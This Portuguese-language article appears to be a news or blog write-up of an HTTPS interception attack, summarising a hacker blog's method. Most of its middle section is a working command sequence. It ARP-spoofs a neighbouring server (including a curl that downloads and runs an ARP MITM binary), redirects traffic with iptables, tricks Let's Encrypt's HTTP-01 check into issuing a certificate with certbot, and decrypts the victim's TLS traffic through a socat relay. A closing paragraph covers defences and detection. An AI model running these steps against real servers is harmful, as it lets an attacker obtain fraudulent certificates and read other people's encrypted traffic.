Interceptação HTTPS na Prática: Como Ataques Contornam a Criptografia TLS

A interceptação HTTPS é uma técnica avançada e uma tática de hackers que envolve a bypass da criptografia TLS para inspecionar o tráfego seguro. Desta forma, um invasor pode ativar o DPI (Deep Packet Inspection) sem ser detectado pelo proprietário do site e seus visitantes, efetivamente visualizando seu tráfego enquanto eles acreditam estar protegidos.

Na prática, o ataque tem sido realizado por mais de dez anos através do engano de Autoridades de Certificação (CAs), como a Let's Encrypt. Na primeira etapa, o invasor os força a emitir certificados TLS para domínios que não pertencem a eles, interceptando as solicitações ACME-HTTP-01. Todas as CAs que usam ACME são vulneráveis ao ataque. A técnica de interceptação HTTPS é descrita em detalhes neste artigo do blog de hackers The Hacker's Choice. O blog tem apenas cinco notas de um autor anônimo, que obviamente está familiarizado com esses ataques. Possivelmente, ele mesmo os conduziu ou investigou incidentes semelhantes. Em outra nota, ele fornece um exemplo de interceptação HTTPS por um determinado serviço governamental na Alemanha, e em outra, como funciona o "firewall estatal" no Irã, onde o estado também usa DPI para monitorar e censurar o tráfego. Especialistas do Open Technology Fund concordam que esse tipo de ataque é característico de atores estatais, e eles fornecem alguns exemplos de tais ataques em um relatório técnico.

Para exemplificar o ataque, na primeira etapa, o invasor deve obter acesso ao servidor de destino ou a outro servidor em sua sub-rede. Isso pode ser feito de várias maneiras. Por exemplo, invadindo a rede do host, provedor de nuvem ou provedor de qualquer outra infraestrutura que a vítima (site de destino) use. A maneira mais fácil é invadir um servidor vizinho na mesma sub-rede (bounce), para exemplos, consulte os casos conhecidos de ataques KlaySwap 2022, Hetzner 2023, etc. O tráfego do servidor de destino (neste exemplo, 156.229.232.158) é redirecionado para bounce, ou seja, 156.229.232.111 por meio da instrução correspondente para seu roteador compartilhado em 156.229.232.1: # on BOUNCE: echo 1 >/proc/sys/net/ipv4/ip_forward echo 0 | tee /proc/sys/net/ipv4/conf/*/send_redirects iptables -t mangle -A PREROUTING -j TTL --ttl-inc 1 iptables -I FORWARD -d 156.229.232.158 -j ACCEPT curl -o arpmitm -SsfL https://github.com/hackerschoice/thc-arpmitm/raw/refs/heads/master/releases/thc-arpmitm_static-binary_x86_64-pc-linux-gnu chmod 755 arpmitm ./arpmitm -i eth0 -A 00:16:66:66:01:11 156.229.232.1:40:71:cc:cc:00:01 156.229.232.158 Em seguida, um servidor HTTP minimalista é iniciado: mkdir -p /tmp/.foo/.well-known/acme-challenge cd /tmp/.foo python3 -m http.server 8066 Com Let's Encrypt (LE) usando o utilitário padrão certbot, um certificado é solicitado para o domínio de destino, mas Enter não é pressionado quando certbot pede para fazê-lo: certbot certonly -d target.thc.org --manual --preferred-challenges http --register-unsafely-without-email --agree-tos A emissão se parece com isso. Aqui, a CA emite o código ACME para o invasor: - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Crie um arquivo contendo apenas estes dados: LiZx2swbcBlcdlpqmeuQOyDLQE_uUEt3mUNmMUMNZQ8._giAhQ21nmlgMx99gnV4Q1kMs4KRqmZbJwoBV2U9u4U E disponibilize-o em seu servidor web em: http://target.thc.org/.well-known/acme-challenge/LiZx2swbcBlcdlpqmeuQOyDLQE_uUEt3mUNmMUMNZQ8 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ####### PARE AQUI ---> NÃO PRESSIONE ENTER AINDA ######### Este código é salvo no servidor HTTP: # Altere esses valores com os valores acima: echo LiZx2swbcBlcdlpqmeuQOyDLQE_uUEt3mUNmMUMNZQ8._giAhQ21nmlgMx99gnV4Q1kMs4KRqmZbJwoBV2U9u4U >/tmp/.foo/.well-known/acme-challenge/LiZx2swbcBlcdlpqmeuQOyDLQE_uUEt3mUNmMUMNZQ8 Em seguida, o invasor redireciona a solicitação LE para o servidor HTTP que ele controla na porta 8066: iptables -t nat -I PREROUTING -p tcp -d 156.229.232.158 --dport 80 -j REDIRECT --to-port 8066 # LE verifica este desafio de 5 locais diferentes. O usuário inteligente pode querer apenas # redirecionar esses locais de origem: # 23.178.112.106, 16.16.194.127, 3.142.152.154, 35.86.146.250, 18.141.24.36 Agora Enter é pressionado no comando certbot. Imediatamente após a conclusão do seu trabalho, as regras iptables alteradas, bem como o servidor HTTPS, são removidos. Como resultado de todas essas operações, um certificado TLS válido está em bounce. Depois disso, você pode usar socat para descriptografar e recriptografar o tráfego TLS e, em seguida, encaminhá-lo para o servidor original: cd /etc/letsencrypt/live/target.thc.org # Primeiro socat para converter 443 em texto simples 43 OPTSSL="cert=fullchain1.pem,key=privkey1.pem,verify=0,fork,reuseaddr,keepalive,keepidle=30,keepintvl=5,keepcnt=4" (socat -T300 openssl-listen:1443,"${OPTSSL:?}" TCP:127.0.6.6:43 &>/dev/null &) # Segundo socat para encaminhar 43 para target.thc.org:443 (socat TCP-LISTEN:43,fork,reuseaddr OPENSSL:156.229.232.158:443,verify=0 &>/dev/null &) Após o redirecionamento do tráfego, o invasor recebe todo o tráfego TLS descriptografado do servidor da vítima.

Para se proteger contra a interceptação HTTPS, em teoria, o navegador deve verificar o certificado e avisar o usuário se a CA no certificado não corresponder à entrada CAA. As Autoridades de Certificação são recomendadas a abandonar métodos de autenticação não protegidos, como ACME-HTTP-01. Para detectar a substituição de um certificado, existem ferramentas de monitoramento especiais, mas isso pode ser feito com ferramentas padrão como Wireshark, bem como manualmente, simplesmente abrindo um certificado TLS válido no navegador e estudando suas especificações. No navegador Chrome, para visualizar o certificado, você precisa clicar no ícone próximo ao nome do site na barra de endereço do navegador, selecionar "Conexão segura" lá e, em seguida, o item "Certificado válido". Em primeiro lugar, você deve prestar atenção à seção Issued By (Emitido por), que indica o emissor do certificado. No caso de substituição de certificado, uma CA mal-intencionada pode ser especificada nesses campos. Mais informações sobre interceptação HTTPS também podem ser encontradas no boletim informativo de referência da Sophos (KBA-000006389).